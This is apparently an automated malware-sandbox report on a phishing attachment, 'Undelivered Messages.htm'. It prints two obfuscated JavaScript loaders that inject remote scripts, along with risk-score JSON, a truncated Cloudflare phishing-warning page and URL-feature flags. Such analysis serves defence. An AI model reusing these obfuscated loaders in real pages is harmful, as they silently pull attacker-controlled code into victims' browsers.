Windows Analysis Report
Undelivered Messages.htm

{
    "risk_score": 6,
    "reasoning": "This script exhibits several moderate-risk indicators, including obfuscated code, external data transmission, and aggressive DOM manipulation. While the intent is not immediately clear, the use of obfuscation and the dynamic loading of a script from an external domain raise concerns and warrant further investigation."
}

        var _0x43beb2 = _0x21bf;

        function _0x1afa() {
            var _0xbe497f = ['687249ffkxse', '2968725wQTzfx', 'cG9pbnQ=', '80MUnirX', '3235tBpiPk', 'createElement', 'getElementById', '7436mWMQqc', '720664gEXMZn', 'getAttribute', '15097670FTBstH', 'dHlwZQ==', 'head', 'appendChild', 'L2pzbm9tLmpz', 'c2NyaXB0', '13548096fTWpBI', '22FYOXgF', 'dGV4dC9qYXZhc2NyaXB0', 'setAttribute', 'aHRtbA==', '4sDsJit', '2762688GAMQTe'];
            _0x1afa = function() {
                return _0xbe497f;
            };
            return _0x1afa();
        }(function(_0x25d612, _0x14888f) {
            var _0x27708e = _0x21bf,
                _0x2f8b98 = _0x25d612();
            while (!![]) {
                try {
                    var _0xe6fe9a = parseInt(_0x27708e(0x1d4)) / 0x1 * (-parseInt(_0x27708e(0x1d2)) / 0x2) + -parseInt(_0x27708e(0x1d5)) / 0x3 + parseInt(_0x27708e(0x1c4)) / 0x4 * (parseInt(_0x27708e(0x1c1)) / 0x5) + -parseInt(_0x27708e(0x1d3)) / 0x6 + parseInt(_0x27708e(0x1c5)) / 0x7 * (parseInt(_0x27708e(0x1c0)) / 0x8) + -parseInt(_0x27708e(0x1cd)) / 0x9 + parseInt(_0x27708e(0x1c7)) / 0xa * (parseInt(_0x27708e(0x1ce)) / 0xb);
                    if (_0xe6fe9a === _0x14888f) break;
                    else _0x2f8b98['push'](_0x2f8b98['shift']());
                } catch (_0x30b4e5) {
                    _0x2f8b98['push'](_0x2f8b98['shift']());
                }
            }
        }(_0x1afa, 0xe116a));
        var s1332b3c8402e79708c89d0c30f1550311062fc02 = atob(document[_0x43beb2(0x1c3)](atob(_0x43beb2(0x1d1)))[_0x43beb2(0x1c6)](atob(_0x43beb2(0x1d6)))),
            se2123499caf1447979e36dbdc114682a199ada70_495c59a4bcc92011d7d696d4fc595b67f61f89e7 = document[_0x43beb2(0x1c2)](atob(_0x43beb2(0x1cc)));

        function _0x21bf(_0x4714fc, _0x95a644) {
            var _0x1afa5b = _0x1afa();
            return _0x21bf = function(_0x21bf54, _0x445222) {
                _0x21bf54 = _0x21bf54 - 0x1c0;
                var _0x3658e1 = _0x1afa5b[_0x21bf54];
                return _0x3658e1;
            }, _0x21bf(_0x4714fc, _0x95a644);
        }
        se2123499caf1447979e36dbdc114682a199ada70_495c59a4bcc92011d7d696d4fc595b67f61f89e7[_0x43beb2(0x1d0)](atob('c3Jj'), s1332b3c8402e79708c89d0c30f1550311062fc02 + atob(_0x43beb2(0x1cb))), se2123499caf1447979e36dbdc114682a199ada70_495c59a4bcc92011d7d696d4fc595b67f61f89e7[_0x43beb2(0x1d0)](atob(_0x43beb2(0x1c8)), atob(_0x43beb2(0x1cf))), document[_0x43beb2(0x1c9)][_0x43beb2(0x1ca)](se2123499caf1447979e36dbdc114682a199ada70_495c59a4bcc92011d7d696d4fc595b67f61f89e7);
    

{
    "risk_score": 7,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. It creates a script element, sets its source to a third-party domain, and appends it to the document. This behavior is suspicious and could potentially lead to the execution of malicious code or the leakage of sensitive user data."
}

        var _0x2c16f1 = _0x3d83;

        function _0x511a() {
            var _0x4039c3 = ['576808qievVR', '2275432jJgHeU', '201123DIgULM', 'c3Jj', '11iQpRed', 'aW50ZWdyaXR5', 'setAttribute', 'preventDefault', '552342ADOcyy', '3942jDaUGH', '1371060DyGzVP', '10453910snslVZ', 'appendChild', '2235ddqsUn', '3zKGMKB', 'c2hhMzg0LWM3OUdONVZzdW5admkrUS9XT2JnazJpbjBDYlpzSG5qRXF2RnhDNUR4SG45bFRmTmNlMldXNmgycEg2dS9rRis=', 'c2NyaXB0', 'head', 'Y3Jvc3NvcmlnaW4=', '2KdTmHf', 'Y29udGV4dG1lbnU=', 'createElement'];
            _0x511a = function() {
                return _0x4039c3;
            };
            return _0x511a();
        }(function(_0x345e14, _0x4731ba) {
            var _0x1f6e34 = _0x3d83,
                _0x298e00 = _0x345e14();
            while (!![]) {
                try {
                    var _0x57b590 = -parseInt(_0x1f6e34(0x89)) / 0x1 * (parseInt(_0x1f6e34(0x84)) / 0x2) + parseInt(_0x1f6e34(0x7f)) / 0x3 * (parseInt(_0x1f6e34(0x87)) / 0x4) + -parseInt(_0x1f6e34(0x94)) / 0x5 * (parseInt(_0x1f6e34(0x90)) / 0x6) + -parseInt(_0x1f6e34(0x8f)) / 0x7 + -parseInt(_0x1f6e34(0x88)) / 0x8 + -parseInt(_0x1f6e34(0x91)) / 0x9 + -parseInt(_0x1f6e34(0x92)) / 0xa * (-parseInt(_0x1f6e34(0x8b)) / 0xb);
                    if (_0x57b590 === _0x4731ba) break;
                    else _0x298e00['push'](_0x298e00['shift']());
                } catch (_0x22a4a7) {
                    _0x298e00['push'](_0x298e00['shift']());
                }
            }
        }(_0x511a, 0x2bbac));

        function _0x3d83(_0x35ae86, _0x53d686) {
            var _0x511a61 = _0x511a();
            return _0x3d83 = function(_0x3d83b0, _0x58e414) {
                _0x3d83b0 = _0x3d83b0 - 0x7f;
                var _0x3f6c3b = _0x511a61[_0x3d83b0];
                return _0x3f6c3b;
            }, _0x3d83(_0x35ae86, _0x53d686);
        }
        var sc = document[_0x2c16f1(0x86)](atob(_0x2c16f1(0x81)));
        sc['setAttribute'](atob(_0x2c16f1(0x8a)), atob('aHR0cHM6Ly9jZG4uc29ja2V0LmlvLzQuNi4wL3NvY2tldC5pby5taW4uanM=')), sc[_0x2c16f1(0x8d)](atob(_0x2c16f1(0x8c)), atob(_0x2c16f1(0x80))), sc[_0x2c16f1(0x8d)](atob(_0x2c16f1(0x83)), atob('YW5vbnltb3Vz')), sc[_0x2c16f1(0x8d)](atob('dHlwZQ=='), atob('dGV4dC9qYXZhc2NyaXB0')), document[_0x2c16f1(0x82)][_0x2c16f1(0x93)](sc), document['addEventListener'](atob(_0x2c16f1(0x85)), _0x13f760 => _0x13f760[_0x2c16f1(0x8e)]());
    

{
    "risk_score": 9,
    "reasoning": "This appears to be a suspected phishing site, which is a high-risk scenario. The page contains indicators of malicious intent, such as redirecting users to an unknown domain and attempting to collect personal information. The presence of a 'Dismiss this warning and enter site' button further suggests this is a malicious attempt to bypass security measures and compromise user data. Overall, the behaviors exhibited in this snippet indicate a high-risk, potentially malicious script."
}

<!DOCTYPE html>
  [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->
  [if IE 7]>    <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->
  [if IE 8]>    <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->
  [if gt IE 8]>  > <html class="no-js" lang="en-US">   <![endif]-->
<head>
<title>Suspected phishing site | Cloudflare</title>
<meta charset="UTF-8" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=Edge" />
<meta name="robots" content="noindex, nofollow" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />
  [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->
<style>body{margin:0;padding:0}</style>


  [if gte IE 10]>  >
<script>
  if (!navigator.cookieEnabled) {
    window.addEventListener('DOMContentLoaded', function () {
      var cookieEl = document.getElementById('cookie-alert');
      cookieEl.style.display = 'block';
    })
  }
</script>
  <![endif]-->


</head>
<body>
  <div id="cf-wrapper">
    <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div>
    <div id="cf-error-details" class="cf-error-details-wrapper">
      <div class="cf-wrapper cf-header cf-error-overview">
        <h1 class="cf-text-error"><i class="cf-icon-exclamation-sign"></i> Warning: Suspected Phishing Site Ahead!</h1>
        <h2 class="cf-subheadline">This link has been flagged as phishing. We suggest you avoid it.</h2>
      </div>   /.header -->

      <section></section>   spacer -->

      <div class="cf-section cf-wrapper">
        <div class="cf-columns two">
          <div class="cf-column">
            <h2>What is phishing?</h2>

            <p>This link has been flagged as phishing. Phishing is an attempt to acquire personal information such as passwords and credit card details by pretending to be a trustworthy source.</p>
            <p>
              <form action="/cdn-cgi/phish-bypass" method="GET">
                <input type="hidden" name="atok" value="udaGbn_zrBuD7jbkOUqjPXWlFAt2ORbS9iogQq6frM4-1736504092-0.0.1.1-/jsnom.js">
                <button type="submit" class="cf-btn cf-btn-danger" data-translate="dismiss_and_enter">Dismiss this warning and enter site</button>
              </form>
            </p>
          </div>

          <div class="cf-column">
            <h2>What can I do?</h2>

            <p><strong>If you're a visitor of this website</strong><br />
            The website owner has been notified and is in the process of resolving the issue. For now, it is recommended that you do not continue to the link that has been flagged.</p>

            <p><strong>If you're the owner of this website</strong><br />
            Please log in to cloudflare.com to review your flagged website. If you have questions about why this was flagged as phishing please contact the Trust &amp; Safety team for more information.</p>
          </div>
        </div>
      </div>   /.section -->

      <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300">
  <p class="text-13">
    <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ffbe71078948c59</strong></span>
    <span class="cf-footer-separator sm:hidden">&bull;</span>
    <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1">
      Your IP:
      <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button>
      <span class="hidden" id="cf-footer-ip">8.46.123.189</span>
      <span class="cf-footer-separator sm:hidden">&bull;</span>
    </span>
    <span class="cf-footer-item sm:block sm:mb-1"><span>Performance &amp; secu

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: ://